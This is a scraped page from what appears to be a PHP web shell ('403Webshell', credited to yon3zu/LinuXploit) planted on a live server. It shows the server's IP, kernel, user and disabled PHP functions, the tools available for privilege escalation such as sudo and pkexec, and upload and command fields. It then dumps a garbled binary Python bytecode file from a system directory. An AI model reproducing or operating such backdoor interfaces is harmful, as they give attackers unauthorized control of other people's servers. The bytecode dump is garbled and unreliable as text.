403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/distutils/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/distutils/command/__pycache__/install_egg_info.cpython-36.opt-1.pyc
3


 \+
�@sddZddlmZddlmZmZddlZddlZddlZGdd�de�Z	dd�Z
d	d
�Zdd�ZdS)
z�distutils.command.install_egg_info

Implements the Distutils 'install_egg_info' command, for installing
a package's PKG-INFO metadata.�)�Command)�log�dir_utilNc@s:eZdZdZdZdgZdd�Zdd	�Zd
d�Zdd
�Z	dS)�install_egg_infoz)Install an .egg-info file for the packagez8Install package's PKG-INFO metadata as an .egg-info file�install-dir=�d�directory to install tocCs
d|_dS)N)�install_dir)�self�r�(/usr/lib64/python3.6/install_egg_info.py�initialize_optionssz#install_egg_info.initialize_optionscCsb|jdd�dtt|jj���tt|jj���ftjdd��}t	j
j|j|�|_
|j
g|_dS)NZinstall_libr	z%s-%s-py%d.%d.egg-info�)r	r	)Zset_undefined_options�to_filename�	safe_name�distributionZget_name�safe_versionZget_version�sys�version_info�os�path�joinr	�target�outputs)r
�basenamerrr�finalize_optionssz!install_egg_info.finalize_optionsc	Cs�|j}tjj|�r2tjj|�r2tj||jd�nNtjj|�rX|j	tj
|jfd|�n(tjj|j�s�|j	tj|jfd|j�t
jd|�|js�t|ddd��}|jjj|�WdQRXdS)N)�dry_runz	Removing z	Creating z
Writing %s�wzUTF-8)�encoding)rrr�isdir�islinkrZremove_treer�existsZexecute�unlinkr	�makedirsr�info�openrZmetadataZwrite_pkg_file)r
r�frrr�run szinstall_egg_info.runcCs|jS)N)r)r
rrr�get_outputs.szinstall_egg_info.get_outputsN)rrr)
�__name__�
__module__�__qualname__�__doc__�descriptionZuser_optionsr
rr'r(rrrrrs
rcCstjdd|�S)z�Convert an arbitrary string to a standard distribution name

    Any runs of non-alphanumeric/. characters are replaced with a single '-'.
    z[^A-Za-z0-9.]+�-)�re�sub)�namerrrr6srcCs|jdd�}tjdd|�S)z�Convert an arbitrary string to a standard version string

    Spaces become dots, and all other non-alphanumeric characters become
    dashes, with runs of multiple dashes condensed to a single dash.
    � �.z[^A-Za-z0-9.]+r.)�replacer/r0)�versionrrrr>srcCs|jdd�S)z|Convert a project or version name to its filename-escaped form

    Any '-' characters are currently replaced with '_'.
    r.�_)r4)r1rrrrHsr)
r,Z
distutils.cmdrZ	distutilsrrrrr/rrrrrrrr�<module>s+

Youez - 2016 - github.com/yon3zu
LinuXploit